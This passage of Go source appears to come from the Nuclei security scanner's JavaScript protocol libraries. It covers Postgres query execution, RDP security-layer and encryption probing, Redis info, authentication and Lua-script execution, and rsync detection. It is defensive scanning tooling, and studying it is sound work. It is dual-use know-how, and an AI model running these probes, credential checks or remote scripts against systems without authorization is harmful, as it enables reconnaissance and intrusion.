int, username string, password string, dbName string, query string) (*utils.SQLResult, error) {\n\tok, err := c.IsPostgres(ctx, host, port)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"not a postgres service\")\n\t}\n\n\texecutionId := ctx.Value(\"executionId\").(string)\n\n\treturn memoizedexecuteQuery(executionId, host, port, username, password, dbName, query)\n}\n\n// @memo\nfunc executeQuery(executionId string, host string, port int, username string, password string, dbName string, query string) (*utils.SQLResult, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn nil, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\ttarget := net.JoinHostPort(host, fmt.Sprintf(\"%d\", port))\n\n\tconnStr := fmt.Sprintf(\"postgres://%s:%s@%s/%s?sslmode=disable&executionId=%s\", username, password, target, dbName, executionId)\n\tdb, err := sql.Open(pgwrap.PGWrapDriver, connStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\n\trows, err := db.Query(query)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresp, err := utils.UnmarshalSQLRows(rows)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn resp, nil\n}\n\n// ConnectWithDB connects to Postgres database using given credentials and database name.\n// If connection is successful, it returns true.\n// If connection is unsuccessful, it returns false and error.\n// The connection is closed after the function returns.\n// @example\n// ```javascript\n// const postgres = require('nuclei/postgres');\n// const client = new postgres.PGClient;\n// const connected = client.ConnectWithDB('acme.com', 5432, 'username', 'password', 'dbname');\n// ```\nfunc (c *PGClient) ConnectWithDB(ctx context.Context, host string, port int, username string, password string, dbName string) (bool, error) {\n\tok, err := c.IsPostgres(ctx, host, port)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif !ok {\n\t\treturn false, fmt.Errorf(\"not a postgres service\")\n\t}\n\n\texecutionId := ctx.Value(\"executionId\").(string)\n\n\treturn memoizedconnect(executionId, host, port, username, password, dbName)\n}\n\n// @memo\nfunc connect(executionId string, host string, port int, username string, password string, dbName string) (bool, error) {\n\tif host == \"\" || port <= 0 {\n\t\treturn false, fmt.Errorf(\"invalid host or port\")\n\t}\n\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\n\ttarget := net.JoinHostPort(host, fmt.Sprintf(\"%d\", port))\n\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tdb := pg.Connect(&pg.Options{\n\t\tAddr:     target,\n\t\tUser:     username,\n\t\tPassword: password,\n\t\tDatabase: dbName,\n\t\tDialer: func(dialCtx context.Context, network, addr string) (net.Conn, error) {\n\t\t\treturn dialer.Fastdialer.Dial(dialCtx, network, addr)\n\t\t},\n\t\tIdleCheckFrequency: -1,\n\t}).WithTimeout(10 * time.Second)\n\n\tdefer func() {\n\t\t_ = db.Close()\n\t}()\n\n\t_, err := db.ExecContext(ctx, \"select 1\")\n\tif err != nil {\n\t\tswitch true {\n\t\tcase strings.Contains(err.Error(), \"connect: connection refused\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"no pg_hba.conf entry for host\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"network unreachable\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"reset\"):\n\t\t\tfallthrough\n\t\tcase strings.Contains(err.Error(), \"i/o timeout\"):\n\t\t\treturn false, err\n\t\t}\n\t\treturn false, nil\n\t}\n\treturn true, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/rdp/memo.rdp.go",
    "content": "// Warning - This is generated code\npackage rdp\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisRDP(executionId string, host string, port int) (IsRDPResponse, error) {\n\thash := \"isRDP\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isRDP(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn IsRDPResponse{}, err\n\t}\n\tif value, ok := v.(IsRDPResponse); ok {\n\t\treturn value, nil\n\t}\n\n\treturn IsRDPResponse{}, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedcheckRDPAuth(executionId string, host string, port int) (CheckRDPAuthResponse, error) {\n\thash := \"checkRDPAuth\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn checkRDPAuth(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn CheckRDPAuthResponse{}, err\n\t}\n\tif value, ok := v.(CheckRDPAuthResponse); ok {\n\t\treturn value, nil\n\t}\n\n\treturn CheckRDPAuthResponse{}, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedcheckRDPEncryption(executionId string, host string, port int) (RDPEncryptionResponse, error) {\n\thash := \"checkRDPEncryption\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn checkRDPEncryption(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn RDPEncryptionResponse{}, err\n\t}\n\tif value, ok := v.(RDPEncryptionResponse); ok {\n\t\treturn value, nil\n\t}\n\n\treturn RDPEncryptionResponse{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/rdp/rdp.go",
    "content": "package rdp\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/rdp\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\ntype (\n\t// IsRDPResponse is the response from the IsRDP function.\n\t// this is returned by IsRDP function.\n\t// @example\n\t// ```javascript\n\t// const rdp = require('nuclei/rdp');\n\t// const isRDP = rdp.IsRDP('acme.com', 3389);\n\t// log(toJSON(isRDP));\n\t// ```\n\tIsRDPResponse struct {\n\t\tIsRDP bool\n\t\tOS    string\n\t}\n)\n\n// IsRDP checks if the given host and port are running rdp server.\n// If connection is successful, it returns true.\n// If connection is unsuccessful, it returns false and error.\n// The Name of the OS is also returned if the connection is successful.\n// @example\n// ```javascript\n// const rdp = require('nuclei/rdp');\n// const isRDP = rdp.IsRDP('acme.com', 3389);\n// log(toJSON(isRDP));\n// ```\nfunc IsRDP(ctx context.Context, host string, port int) (IsRDPResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisRDP(executionId, host, port)\n}\n\n// @memo\nfunc isRDP(executionId string, host string, port int) (IsRDPResponse, error) {\n\tresp := IsRDPResponse{}\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn IsRDPResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\ttimeout := 5 * time.Second\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tserver, isRDP, err := rdp.DetectRDP(conn, timeout)\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tif !isRDP {\n\t\treturn resp, nil\n\t}\n\tresp.IsRDP = true\n\tresp.OS = server\n\treturn resp, nil\n}\n\ntype (\n\t// CheckRDPAuthResponse is the response from the CheckRDPAuth function.\n\t// this is returned by CheckRDPAuth function.\n\t// @example\n\t// ```javascript\n\t// const rdp = require('nuclei/rdp');\n\t// const checkRDPAuth = rdp.CheckRDPAuth('acme.com', 3389);\n\t// log(toJSON(checkRDPAuth));\n\t// ```\n\tCheckRDPAuthResponse struct {\n\t\tPluginInfo *plugins.ServiceRDP\n\t\tAuth       bool\n\t}\n)\n\n// CheckRDPAuth checks if the given host and port are running rdp server\n// with authentication and returns their metadata.\n// If connection is successful, it returns true.\n// @example\n// ```javascript\n// const rdp = require('nuclei/rdp');\n// const checkRDPAuth = rdp.CheckRDPAuth('acme.com', 3389);\n// log(toJSON(checkRDPAuth));\n// ```\nfunc CheckRDPAuth(ctx context.Context, host string, port int) (CheckRDPAuthResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedcheckRDPAuth(executionId, host, port)\n}\n\n// @memo\nfunc checkRDPAuth(executionId string, host string, port int) (CheckRDPAuthResponse, error) {\n\tresp := CheckRDPAuthResponse{}\n\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn CheckRDPAuthResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\ttimeout := 5 * time.Second\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\tpluginInfo, auth, err := rdp.DetectRDPAuth(conn, timeout)\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tif !auth {\n\t\treturn resp, nil\n\t}\n\tresp.Auth = true\n\tresp.PluginInfo = pluginInfo\n\treturn resp, nil\n}\n\ntype (\n\tSecurityLayer string\n)\n\nconst (\n\tSecurityLayerNativeRDP                = \"NativeRDP\"\n\tSecurityLayerSSL                      = \"SSL\"\n\tSecurityLayerCredSSP                  = \"CredSSP\"\n\tSecurityLayerRDSTLS                   = \"RDSTLS\"\n\tSecurityLayerCredSSPWithEarlyUserAuth = \"CredSSPWithEarlyUserAuth\"\n)\n\ntype (\n\tEncryptionLevel string\n)\n\nconst (\n\tEncryptionLevelRC4_40bit  = \"RC4_40bit\"\n\tEncryptionLevelRC4_56bit  = \"RC4_56bit\"\n\tEncryptionLevelRC4_128bit = \"RC4_128bit\"\n\tEncryptionLevelFIPS140_1  = \"FIPS140_1\"\n)\n\ntype (\n\t// RDPEncryptionResponse is the response from the CheckRDPEncryption function.\n\t// This is returned by CheckRDPEncryption function.\n\t// @example\n\t// ```javascript\n\t// const rdp = require('nuclei/rdp');\n\t// const encryption = rdp.CheckRDPEncryption('acme.com', 3389);\n\t// log(toJSON(encryption));\n\t// ```\n\tRDPEncryptionResponse struct {\n\t\t// Protocols\n\t\tNativeRDP                bool\n\t\tSSL                      bool\n\t\tCredSSP                  bool\n\t\tRDSTLS                   bool\n\t\tCredSSPWithEarlyUserAuth bool\n\n\t\t// EncryptionLevels\n\t\tRC4_40bit  bool\n\t\tRC4_56bit  bool\n\t\tRC4_128bit bool\n\t\tFIPS140_1  bool\n\t}\n)\n\n// CheckRDPEncryption checks the RDP server's supported security layers and encryption levels.\n// It tests different protocols and ciphers to determine what is supported.\n// @example\n// ```javascript\n// const rdp = require('nuclei/rdp');\n// const encryption = rdp.CheckRDPEncryption('acme.com', 3389);\n// log(toJSON(encryption));\n// ```\nfunc CheckRDPEncryption(ctx context.Context, host string, port int) (RDPEncryptionResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedcheckRDPEncryption(executionId, host, port)\n}\n\n// @memo\nfunc checkRDPEncryption(executionId string, host string, port int) (RDPEncryptionResponse, error) {\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn RDPEncryptionResponse{}, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\tresp := RDPEncryptionResponse{}\n\tdefaultTimeout := 5 * time.Second\n\n\t// Test different security protocols\n\tprotocols := map[SecurityLayer]int{\n\t\tSecurityLayerNativeRDP:                0,\n\t\tSecurityLayerSSL:                      1,\n\t\tSecurityLayerCredSSP:                  3,\n\t\tSecurityLayerRDSTLS:                   4,\n\t\tSecurityLayerCredSSPWithEarlyUserAuth: 8,\n\t}\n\n\tfor name, value := range protocols {\n\t\tctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)\n\t\tdefer cancel()\n\t\tconn, err := dialer.Fastdialer.Dial(ctx, \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\t// Test protocol\n\t\tisRDP, err := testRDPProtocol(conn, value)\n\t\tif err == nil && isRDP {\n\t\t\tswitch SecurityLayer(name) {\n\t\t\tcase SecurityLayerNativeRDP:\n\t\t\t\tresp.NativeRDP = true\n\t\t\tcase SecurityLayerSSL:\n\t\t\t\tresp.SSL = true\n\t\t\tcase SecurityLayerCredSSP:\n\t\t\t\tresp.CredSSP = true\n\t\t\tcase SecurityLayerRDSTLS:\n\t\t\t\tresp.RDSTLS = true\n\t\t\tcase SecurityLayerCredSSPWithEarlyUserAuth:\n\t\t\t\tresp.CredSSPWithEarlyUserAuth = true\n\t\t\t}\n\t\t}\n\t}\n\n\t// Test different encryption levels\n\tciphers := map[EncryptionLevel]int{\n\t\tEncryptionLevelRC4_40bit:  1,\n\t\tEncryptionLevelRC4_56bit:  8,\n\t\tEncryptionLevelRC4_128bit: 2,\n\t\tEncryptionLevelFIPS140_1:  16,\n\t}\n\n\tfor encryptionLevel, value := range ciphers {\n\t\tctx, cancel := context.WithTimeout(context.Background(), defaultTimeout)\n\t\tdefer cancel()\n\t\tconn, err := dialer.Fastdialer.Dial(ctx, \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdefer func() {\n\t\t\t_ = conn.Close()\n\t\t}()\n\n\t\t// Test cipher\n\t\tisRDP, err := testRDPCipher(conn, value)\n\t\tif err == nil && isRDP {\n\t\t\tswitch encryptionLevel {\n\t\t\tcase EncryptionLevelRC4_40bit:\n\t\t\t\tresp.RC4_40bit = true\n\t\t\tcase EncryptionLevelRC4_56bit:\n\t\t\t\tresp.RC4_56bit = true\n\t\t\tcase EncryptionLevelRC4_128bit:\n\t\t\t\tresp.RC4_128bit = true\n\t\t\tcase EncryptionLevelFIPS140_1:\n\t\t\t\tresp.FIPS140_1 = true\n\t\t\t}\n\t\t}\n\t}\n\n\treturn resp, nil\n}\n\n// testRDPProtocol tests RDP with a specific security protocol\nfunc testRDPProtocol(conn net.Conn, protocol int) (bool, error) {\n\t// Send RDP connection request with specific protocol\n\t// This is a simplified version - in reality you'd need to implement the full RDP protocol\n\t// including the negotiation phase with the specified protocol\n\t_, err := conn.Write([]byte{0x03, 0x00, 0x00, 0x13, 0x0e, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, byte(protocol), 0x00, 0x08, 0x00, 0x03, 0x00, 0x00, 0x00})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// Read response\n\tbuf := make([]byte, 1024)\n\tn, err := conn.Read(buf)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// Check if response indicates RDP\n\tif n >= 19 && buf[0] == 0x03 && buf[1] == 0x00 && buf[2] == 0x00 {\n\t\t// For CredSSP and CredSSP with Early User Auth, we need to check for NLA support\n\t\tif protocol == 3 || protocol == 8 {\n\t\t\t// Check for NLA support in the response\n\t\t\tif n >= 19 && buf[18]&0x01 != 0 {\n\t\t\t\treturn true, nil\n\t\t\t}\n\t\t\treturn false, nil\n\t\t}\n\t\treturn true, nil\n\t}\n\n\treturn false, nil\n}\n\n// testRDPCipher tests RDP with a specific encryption level\nfunc testRDPCipher(conn net.Conn, cipher int) (bool, error) {\n\t// Send RDP connection request with specific cipher\n\t// This is a simplified version - in reality you'd need to implement the full RDP protocol\n\t// including the negotiation phase with the specified cipher\n\t_, err := conn.Write([]byte{0x03, 0x00, 0x00, 0x13, 0x0e, 0xe0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x08, byte(cipher), 0x03, 0x00, 0x00, 0x00})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// Read response\n\tbuf := make([]byte, 1024)\n\tn, err := conn.Read(buf)\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\t// Check if response indicates RDP\n\tif n >= 19 && buf[0] == 0x03 && buf[1] == 0x00 && buf[2] == 0x00 {\n\t\t// Check for encryption level support in the response\n\t\tif n >= 19 && buf[18]&byte(cipher) != 0 {\n\t\t\treturn true, nil\n\t\t}\n\t\treturn false, nil\n\t}\n\n\treturn false, nil\n}\n"
  },
  {
    "path": "pkg/js/libs/redis/memo.redis.go",
    "content": "// Warning - This is generated code\npackage redis\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedgetServerInfo(executionId string, host string, port int) (string, error) {\n\thash := \"getServerInfo\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn getServerInfo(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif value, ok := v.(string); ok {\n\t\treturn value, nil\n\t}\n\n\treturn \"\", errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedconnect(executionId string, host string, port int, password string) (bool, error) {\n\thash := \"connect\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port) + \":\" + fmt.Sprint(password)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn connect(executionId, host, port, password)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedgetServerInfoAuth(executionId string, host string, port int, password string) (string, error) {\n\thash := \"getServerInfoAuth\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port) + \":\" + fmt.Sprint(password)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn getServerInfoAuth(executionId, host, port, password)\n\t})\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tif value, ok := v.(string); ok {\n\t\treturn value, nil\n\t}\n\n\treturn \"\", errors.New(\"could not convert cached result\")\n}\n\nfunc memoizedisAuthenticated(executionId string, host string, port int) (bool, error) {\n\thash := \"isAuthenticated\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isAuthenticated(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tif value, ok := v.(bool); ok {\n\t\treturn value, nil\n\t}\n\n\treturn false, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/redis/redis.go",
    "content": "package redis\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n\t\"github.com/redis/go-redis/v9\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\tpluginsredis \"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/redis\"\n)\n\n// GetServerInfo returns the server info for a redis server\n// @example\n// ```javascript\n// const redis = require('nuclei/redis');\n// const info = redis.GetServerInfo('acme.com', 6379);\n// ```\nfunc GetServerInfo(ctx context.Context, host string, port int) (string, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedgetServerInfo(executionId, host, port)\n}\n\n// @memo\nfunc getServerInfo(executionId string, host string, port int) (string, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn \"\", protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\t// create a new client\n\tclient := redis.NewClient(&redis.Options{\n\t\tAddr:     fmt.Sprintf(\"%s:%d\", host, port),\n\t\tPassword: \"\", // no password set\n\t\tDB:       0,  // use default DB\n\t})\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\t// Ping the Redis server\n\t_, err := client.Ping(context.TODO()).Result()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get Redis server info\n\tinfoCmd := client.Info(context.TODO())\n\tif infoCmd.Err() != nil {\n\t\treturn \"\", infoCmd.Err()\n\t}\n\n\treturn infoCmd.Val(), nil\n}\n\n// Connect tries to connect redis server with password\n// @example\n// ```javascript\n// const redis = require('nuclei/redis');\n// const connected = redis.Connect('acme.com', 6379, 'password');\n// ```\nfunc Connect(ctx context.Context, host string, port int, password string) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedconnect(executionId, host, port, password)\n}\n\n// @memo\nfunc connect(executionId string, host string, port int, password string) (bool, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\t// create a new client\n\tclient := redis.NewClient(&redis.Options{\n\t\tAddr:     fmt.Sprintf(\"%s:%d\", host, port),\n\t\tPassword: password, // no password set\n\t\tDB:       0,        // use default DB\n\t})\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\t_, err := client.Ping(context.TODO()).Result()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\t// Get Redis server info\n\tinfoCmd := client.Info(context.TODO())\n\tif infoCmd.Err() != nil {\n\t\treturn false, infoCmd.Err()\n\t}\n\n\treturn true, nil\n}\n\n// GetServerInfoAuth returns the server info for a redis server\n// @example\n// ```javascript\n// const redis = require('nuclei/redis');\n// const info = redis.GetServerInfoAuth('acme.com', 6379, 'password');\n// ```\nfunc GetServerInfoAuth(ctx context.Context, host string, port int, password string) (string, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedgetServerInfoAuth(executionId, host, port, password)\n}\n\n// @memo\nfunc getServerInfoAuth(executionId string, host string, port int, password string) (string, error) {\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn \"\", protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\t// create a new client\n\tclient := redis.NewClient(&redis.Options{\n\t\tAddr:     fmt.Sprintf(\"%s:%d\", host, port),\n\t\tPassword: password, // no password set\n\t\tDB:       0,        // use default DB\n\t})\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\t// Ping the Redis server\n\t_, err := client.Ping(context.TODO()).Result()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get Redis server info\n\tinfoCmd := client.Info(context.TODO())\n\tif infoCmd.Err() != nil {\n\t\treturn \"\", infoCmd.Err()\n\t}\n\n\treturn infoCmd.Val(), nil\n}\n\n// IsAuthenticated checks if the redis server requires authentication\n// @example\n// ```javascript\n// const redis = require('nuclei/redis');\n// const isAuthenticated = redis.IsAuthenticated('acme.com', 6379);\n// ```\nfunc IsAuthenticated(ctx context.Context, host string, port int) (bool, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisAuthenticated(executionId, host, port)\n}\n\n// @memo\nfunc isAuthenticated(executionId string, host string, port int) (bool, error) {\n\tplugin := pluginsredis.REDISPlugin{}\n\ttimeout := 5 * time.Second\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn false, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\n\tconn, err := dialer.Fastdialer.Dial(context.TODO(), \"tcp\", fmt.Sprintf(\"%s:%d\", host, port))\n\tif err != nil {\n\t\treturn false, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\t_, err = plugin.Run(conn, timeout, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn false, err\n\t}\n\treturn true, nil\n}\n\n// RunLuaScript runs a lua script on the redis server\n// @example\n// ```javascript\n// const redis = require('nuclei/redis');\n// const result = redis.RunLuaScript('acme.com', 6379, 'password', 'return redis.call(\"get\", KEYS[1])');\n// ```\nfunc RunLuaScript(ctx context.Context, host string, port int, password string, script string) (interface{}, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\tif !protocolstate.IsHostAllowed(executionId, host) {\n\t\t// host is not valid according to network policy\n\t\treturn false, protocolstate.ErrHostDenied.Msgf(host)\n\t}\n\t// create a new client\n\tclient := redis.NewClient(&redis.Options{\n\t\tAddr:     fmt.Sprintf(\"%s:%d\", host, port),\n\t\tPassword: password,\n\t\tDB:       0, // use default DB\n\t})\n\tdefer func() {\n\t\t_ = client.Close()\n\t}()\n\n\t// Ping the Redis server\n\t_, err := client.Ping(context.TODO()).Result()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\t// Get Redis server info\n\tinfoCmd := client.Eval(context.Background(), script, []string{})\n\n\tif infoCmd.Err() != nil {\n\t\treturn \"\", infoCmd.Err()\n\t}\n\n\treturn infoCmd.Val(), nil\n}\n"
  },
  {
    "path": "pkg/js/libs/rsync/memo.rsync.go",
    "content": "// Warning - This is generated code\npackage rsync\n\nimport (\n\t\"errors\"\n\t\"fmt\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nfunc memoizedisRsync(executionId string, host string, port int) (IsRsyncResponse, error) {\n\thash := \"isRsync\" + \":\" + fmt.Sprint(executionId) + \":\" + fmt.Sprint(host) + \":\" + fmt.Sprint(port)\n\n\tv, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n\t\treturn isRsync(executionId, host, port)\n\t})\n\tif err != nil {\n\t\treturn IsRsyncResponse{}, err\n\t}\n\tif value, ok := v.(IsRsyncResponse); ok {\n\t\treturn value, nil\n\t}\n\n\treturn IsRsyncResponse{}, errors.New(\"could not convert cached result\")\n}\n"
  },
  {
    "path": "pkg/js/libs/rsync/rsync.go",
    "content": "package rsync\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"net\"\n\t\"strconv\"\n\t\"time\"\n\n\trsynclib \"github.com/Mzack9999/go-rsync/rsync\"\n\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins\"\n\t\"github.com/praetorian-inc/fingerprintx/pkg/plugins/services/rsync\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\ntype (\n\t// RsyncClient is a client for RSYNC servers.\n\t// Internally client uses https://github.com/gokrazy/rsync driver.\n\t// @example\n\t// ```javascript\n\t// const rsync = require('nuclei/rsync');\n\t// const client = new rsync.RsyncClient();\n\t// ```\n\tRsyncClient struct{}\n\n\t// IsRsyncResponse is the response from the IsRsync function.\n\t// this is returned by IsRsync function.\n\t// @example\n\t// ```javascript\n\t// const rsync = require('nuclei/rsync');\n\t// const isRsync = rsync.IsRsync('acme.com', 873);\n\t// log(toJSON(isRsync));\n\t// ```\n\tIsRsyncResponse struct {\n\t\tIsRsync bool\n\t\tBanner  string\n\t}\n\n\t// ListSharesResponse is the response from the ListShares function.\n\t// this is returned by ListShares function.\n\t// @example\n\t// ```javascript\n\t// const rsync = require('nuclei/rsync');\n\t// const client = new rsync.RsyncClient();\n\t// const listShares = client.ListShares('acme.com', 873);\n\t// log(toJSON(listShares));\n\tRsyncListResponse struct {\n\t\tModules []string\n\t\tFiles   []string\n\t\tOutput  string\n\t}\n)\n\nfunc connectWithFastDialer(executionId string, host string, port int) (net.Conn, error) {\n\tdialer := protocolstate.GetDialersWithId(executionId)\n\tif dialer == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", executionId)\n\t}\n\treturn dialer.Fastdialer.Dial(context.Background(), \"tcp\", net.JoinHostPort(host, strconv.Itoa(port)))\n}\n\n// IsRsync checks if a host is running a Rsync server.\n// @example\n// ```javascript\n// const rsync = require('nuclei/rsync');\n// const isRsync = rsync.IsRsync('acme.com', 873);\n// log(toJSON(isRsync));\n// ```\nfunc IsRsync(ctx context.Context, host string, port int) (IsRsyncResponse, error) {\n\texecutionId := ctx.Value(\"executionId\").(string)\n\treturn memoizedisRsync(executionId, host, port)\n}\n\n// @memo\nfunc isRsync(executionId string, host string, port int) (IsRsyncResponse, error) {\n\tresp := IsRsyncResponse{}\n\n\ttimeout := 5 * time.Second\n\tconn, err := connectWithFastDialer(executionId, host, port)\n\tif err != nil {\n\t\treturn resp, err\n\t}\n\tdefer func() {\n\t\t_ = conn.Close()\n\t}()\n\n\trsyncPlugin := rsync.RSYNCPlugin{}\n\tservice, err := rsyncPlugin.Run(conn, timeout, plugins.Target{Host: host})\n\tif err != nil {\n\t\treturn resp, nil\n\t}\n\tif service == nil {\n\t\treturn resp, nil\n\t}\n\tresp.Banner = service.Version\n\tresp.IsRsync = true\n\treturn resp, nil\n}\n\n// ListModules lists the modules of a Rsync server.\n// @example\n// ```javascript\n// const rsync = require('nuclei/rsync');\n// const client = new rsync.RsyncClient();\n// const listModules = client.ListModules('acme.com', 873, 'username', 'password');\n// log(toJSON(listModules));\n// ```\nfunc 